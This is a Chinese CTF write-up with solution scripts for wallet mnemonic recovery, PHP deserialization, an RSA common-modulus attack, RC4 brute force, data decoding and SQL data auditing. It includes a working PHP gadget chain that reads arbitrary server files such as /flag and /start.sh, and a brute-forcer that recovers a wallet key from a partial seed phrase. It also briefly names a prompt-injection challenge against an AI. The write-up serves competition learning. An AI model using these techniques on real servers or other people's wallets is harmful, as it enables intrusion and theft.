感谢队友带飞

第八届浙江省大学生网络与信息安全竞赛 初赛 WriteUp By A1natas
Dr0n's blog: 第八届浙江省大学生网络与信息安全竞赛预赛-wp
misc
5-2 RecoverWallet
缺少一个助记词,遍历字典爆破
1from mnemonic import Mnemonic
2from bip32utils import BIP32Key
3from web3 import Web3
4
5# 定义硬化索引偏移量
6BIP32_HARDEN = 0x80000000
7
8# 获取BIP39英文单词列表
9mnemo = Mnemonic("english")
10wordlist = mnemo.wordlist
11
12# 基础助记词单词,其中第5个单词未知
13base_words = ["ankle", "assume", "estate", "permit", None, "eye",
14 "fancy", "spring", "demand", "dial", "awkward", "hole"]
15target_suffix = "700f80" # 目标地址后缀
16
17# 遍历所有可能的单词
18for word in wordlist:
19 base_words[4] = word # 替换第5个单词(索引4)
20 mnemonic = " ".join(base_words)
21
22 # 检查助记词有效性(校验和)
23 if not mnemo.check(mnemonic):
24 continue
25
26 # 生成种子
27 seed = mnemo.to_seed(mnemonic)
28
29 # 从种子生成BIP32根密钥
30 root_key = BIP32Key.fromEntropy(seed)
31
32 # 推导路径: m/44'/60'/0'/0/0
33 # 44' (硬化)
34 child_key = root_key.ChildKey(44 + BIP32_HARDEN)
35 # 60' (硬化)
36 child_key = child_key.ChildKey(60 + BIP32_HARDEN)
37 # 0' (硬化)
38 child_key = child_key.ChildKey(0 + BIP32_HARDEN)
39 # 0 (非硬化)
40 child_key = child_key.ChildKey(0)
41 # 0 (非硬化)
42 child_key = child_key.ChildKey(0)
43
44 # 获取私钥
45 private_key = child_key.PrivateKey()
46 private_key_hex = private_key.hex()
47
48 # 从私钥生成以太坊地址
49 account = Web3().eth.account.from_key(private_key_hex)
50 address = account.address
51
52 # 检查地址是否以目标后缀结尾
53 if address.lower().endswith(target_suffix):
54 print("找到匹配的助记词和地址:")
55 print("助记词:", mnemonic)
56 print("地址:", address)
57 break

web
1-2 EzSerialize
- Php 反序列化,用下面的代码读一下/flag
1<?php
2class User
3{
4 private $name;
5 private $role;
6
7 public function __construct($name, $role)
8 {
9 $this->name = $name;
10 $this->role = $role;
11 }
12 public function __toString()
13 {
14 return $this->role->getInfo();
15 }
16}
17class Admin
18{
19 private $command;
20
21 public function __construct($command)
22 {
23 $this->command = $command;
24 }
25 public function __call($method, $args)
26 {
27 if ($method === "getInfo") {
28 return $this->command->execute();
29 }
30 return "Method $method not found";
31 }
32}
33class FileReader
34{
35 private $filename;
36
37 public function __construct($filename)
38 {
39 $this->filename = $filename;
40 }
41
42 public function execute()
43 {
44 // 危险操作:直接读取文件
45 if (file_exists($this->filename)) {
46 return "<pre>" .
47 htmlspecialchars(file_get_contents($this->filename)) .
48 "</pre>";
49 } else {
50 return "文件不存在: " . $this->filename;
51 }
52 }
53}
54$fr = new FileReader("/flag");
55$admin = new Admin($fr);
56$user = new User("Alice", $admin);
57echo base64_encode(serialize($user));
内容为空,读取/proc/1/cmdline 看看有没有线索:

接着读取/start.sh:

把 flag 写入 flag.php 了,所以读取 flag.php 就好了:

crypto
4-1 RSA_Common_Attack
看出来是共模攻击,通过扩展欧几里得公式可以得出:
Exp:
1from Crypto.Util.number import *
2import gmpy2
3
4n = 12184620342604321526236147921176689871260702807639258752158298414126076615130224253248632789995209263378074151299166903216279276546198828352880417707078853010887759267119069971739321905295081485027018480973993441393590030075971419165113599211569178425331802782763120185350392723844716582476742357944510728860535408085789317844446495987195735585533277358245562877243064161565448407188900804528695784565011073374273835326807616704068806996983861885772305191259029021518998160545972629938341341148477795894816345752396040127286263780418335699743896454197151019898505844519753453115300227481242993291336748858733029540609
5e1 = 65537
6e2 = 10001
7c1 = 902947871638340144585350496607905036788917988784297938051712515029419473301205843372041904115813361402310512640716508455953201343091183980022416880886523265909139556951175072940441586166669057233430247014907124872576782948489940428513680356381769358116956570193102584168134758031000460513472898624075765670452482015562555449322262139576088011030490086784087285869959810062075648470122232452663599195404333292792928816934802064740144937473749408450501803510475933273448208685792400696632919950948832464784621694657179199125876564156360048730797653060931844444935302553732964065897065735427838601696506594726842758656
8c2 = 7024079443689213821451191616762957236018704240049119768827190246286227366906772824421534943039282921384333899446122799252327963055365970065258371710141470872948613397123358914507497871585713222863470875497667604127210508840915183968145267083193773724382523920130152399270957943228022350279379887455019966651166356404967621474933206809521046480962602160962854745553005978607776790079518796651707745342923714121497001171456582586327982922261473553814594384196824815090185841526000247291514943042643385984600122463395695871306301585799490389353720773152762256126676456786420058282912965520064317739998211921049808590504
9
10s0, s1, s2 = gmpy2.gcdext(e1, e2)
11m = (pow(c1, s1, n) * pow(c2, s2, n)) % n
12flag = long_to_bytes(gmpy2.iroot(m, s0)[0])
13print(flag)

4-2 ez_stream
一看 flag 中的未知数只有 11 个,且前面的 S,K,N 都是固定的,就可以开始爆破
Exp:
1from Crypto.Util.number import *
2import gmpy2
3
4tt = [164, 34, 242, 5, 234, 79, 16, 182, 136, 117, 78, 78, 71, 168, 72, 79, 53, 114]
5
6for a in [
7 "a",
8 "b",
9 "c",
10 "d",
11 "e",
12 "f",
13 "g",
14 "h",
15 "i",
16 "j",
17 "k",
18 "l",
19 "m",
20 "n",
21 "o",
22 "p",
23 "q",
24 "r",
25 "s",
26 "t",
27 "u",
28 "v",
29 "w",
30 "x",
31 "y",
32 "z",
33 "A",
34 "B",
35 "C",
36 "D",
37 "E",
38 "F",
39 "G",
40 "H",
41 "I",
42 "J",
43 "K",
44 "L",
45 "M",
46 "N",
47 "O",
48 "P",
49 "Q",
50 "R",
51 "S",
52 "T",
53 "U",
54 "V",
55 "W",
56 "X",
57 "Y",
58 "Z",
59 "1",
60 "2",
61 "3",
62 "4",
63 "5",
64 "6",
65 "7",
66 "8",
67 "9",
68 "0",
69 "_",
70]:
71 flag = "DASCTF{rc4_is_easy" + a
72
73 t = [ord(letter) for letter in flag]
74
75 N, K, S = [256, [0] * 256], [0] * 256, [i for i in range(256)]
76
77 key = "love"
78
79 for i in range(256):
80 S[i], K[i] = i, ord(key[i % len(key)])
81
82 j = 0
83
84 for i in range(256):
85 j = (j + S[i] + K[i]) % 256
86 S[i], S[j] = S[j], S[i]
87
88 i, j = 0, 0
89
90 for k in range(len(t)):
91 i = (i + 1) % 256
92 j = (j + S[i]) % 256
93 S[i], S[j] = S[j], S[i]
94 t[k] ^= S[(S[i] + S[j]) % 256]
95
96 if t == tt:
97 print(a)

Flag 即为 DASCTF{rc4_is_easy}
data security
6-1 dsEnData
写脚本还原
1import base64
2import csv
3
4
5def decode(encoded_data, K="a1a60171273e74a6"):
6 data = base64.b64decode(encoded_data)
7 res = b""
8 for i in range(len(data)):
9 # 计算密钥索引: (i+1) & 15
10 c = K[(i + 1) & 15]
11 # 异或操作解密
12 res += bytes([data[i] ^ ord(c)])
13 return res.decode("utf-8")
14
15
16def decrypt_csv(input_file, output_file):
17 with open(input_file, "r", encoding="utf-8") as csv_in:
18 reader = csv.reader(csv_in)
19 header = next(reader)
20 rows = []
21 for row in reader:
22 decrypted_row = []
23 for field in row:
24 decrypted_field = decode(field)
25 decrypted_row.append(decrypted_field)
26 rows.append(decrypted_row)
27 with open(output_file, "w", encoding="utf-8", newline="") as csv_out:
28 writer = csv.writer(csv_out)
29 writer.writerow(header)
30 writer.writerows(rows)
31
32
33if __name__ == "__main__":
34 input_csv = "encoded_data.csv"
35 output_csv = "decrypted_data.csv"
36 decrypt_csv(input_csv, output_csv)
37 print("解密完成!解密后的数据已保存到", output_csv)

6-2 dssql
本地没有装 mysql,所以只能用 python 脚本进行清洗了
1import string, time
2
3file = open("data.sql", "r").readlines()
4
5
6def load_roles():
7 roles = file[9026:9031]
8 for i in range(len(roles)):
9 roles[i] = roles[i][28:][:-2].split(", ")
10 roles[i][0] = int(roles[i][0])
11 for j in range(1, len(roles[i])):
12 roles[i][j] = roles[i][j][1:-1]
13 roles[i][2] = roles[i][2][:-1].split(",")
14 return roles
15
16
17def load_users():
18 users = file[9049:11049]
19 for i in range(len(users)):
20 users[i] = users[i][28:][:-2].split(", ")
21 users[i][0] = int(users[i][0])
22 for j in range(1, len(users[i])):
23 users[i][j] = users[i][j][1:-1]
24 users[i][-1] = users[i][-1][:-1]
25 return users
26
27
28def load_opers():
29 opers = file[34:9012]
30 for i in range(len(opers)):
31 opers[i] = opers[i][33:][:-2].split(", ")
32 opers[i][0] = int(opers[i][0])
33 opers[i][1] = int(opers[i][1])
34 for j in range(2, len(opers[i])):
35 opers[i][j] = opers[i][j][1:-1]
36 opers[i][-1] = opers[i][-1][:-1]
37 return opers
38
39
40def verify_idcard(idcard: str) -> bool:
41 if len(idcard) != 18:
42 return False
43 weights = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
44 check_digits = ["1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"]
45 total = 0
46 for i in range(17):
47 if not idcard[i].isdigit():
48 return False
49 total += int(idcard[i]) * weights[i]
50 mod = total % 11
51 return idcard[17].upper() == check_digits[mod]
52
53
54def verify_bankcard(bankcard: str) -> bool:
55 if not bankcard.isdigit() or not (16 <= len(bankcard) <= 19):
56 return False
57 digits = [int(d) for d in bankcard]
58 checksum = digits.pop()
59 digits.reverse()
60 for i in range(len(digits)):
61 if i % 2 == 0:
62 digits[i] *= 2
63 if digits[i] > 9:
64 digits[i] -= 9
65 total = sum(digits)
66 calculated_checksum = (10 - (total % 10)) % 10
67 return checksum == calculated_checksum
68
69
70def verify_date(date_str: str, birth: str) -> bool:
71 # 在 2015/1/1 到 2025/10/31 之间
72 try:
73 d = time.strptime(date_str, "%Y/%m/%d")
74 if d < time.strptime("2015/1/1", "%Y/%m/%d") or d > time.strptime(
75 "2025/10/31", "%Y/%m/%d"
76 ):
77 return False
78 # 出生日期不能晚于注册日期
79 bd = time.strptime(birth, "%Y%m%d")
80 if bd > d:
81 return False
82 return True
83 except Exception:
84 return False
85
86
87def check_info_err(users: list):
88 errs = []
89 for user in users:
90 # 姓名违规
91 if (
92 (not (2 <= len(user[1]) <= 4))
93 or (all(ch in string.printable for ch in user[1]))
94 or user[1] == ""
95 ):
96 errs.append(user[1])
97 continue
98 # 手机号违规
99 if (
100 (not len(user[2]) == 11)
101 or (not user[2].isdigit())
102 or (not user[2].startswith(("13", "14", "15", "16", "17", "18", "19")))
103 ):
104 errs.append(user[1])
105 continue
106 # 身份证号验证
107 if (
108 (not len(user[3]) == 18)
109 or (
110 not (
111 user[3][:17].isdigit()
112 and (user[3][17].isdigit() or user[3][17] in ["X", "x"])
113 )
114 )
115 or (not verify_idcard(user[3]))
116 ):
117 errs.append(user[1])
118 continue
119 # 银行卡号验证
120 if (
121 (not (16 <= len(user[4]) <= 19))
122 or (not user[4].isdigit())
123 and (not verify_bankcard(user[4]))
124 ):
125 errs.append(user[1])
126 continue
127 # 注册日期验证
128 if not verify_date(user[5], user[3][6:14]):
129 errs.append(user[1])
130 return errs
131
132
133def check_priv_err(opers: list, roles: list, users: list):
134 errs = []
135 for oper in opers:
136 user = users[oper[1] - 1]
137 role = user[-1]
138 role_privs = []
139 for i in range(len(roles)):
140 if roles[i][1] == role:
141 role_privs = roles[i][2]
142 break
143 if oper[3] not in role_privs and user[1] not in errs:
144 print(user, oper, role_privs)
145 errs.append(user[1])
146 return errs
147
148
149roles = load_roles()
150users = load_users()
151opers = load_opers()
152with open("output.csv", "w") as f:
153 for err in check_info_err(users):
154 f.write(f"{err},信息违规\n")
155 for err in check_priv_err(opers, roles, users):
156 f.write(f"{err},操作违规\n")

ai security
8-2 ez_AI_inject
提示词注入

系统提示词:
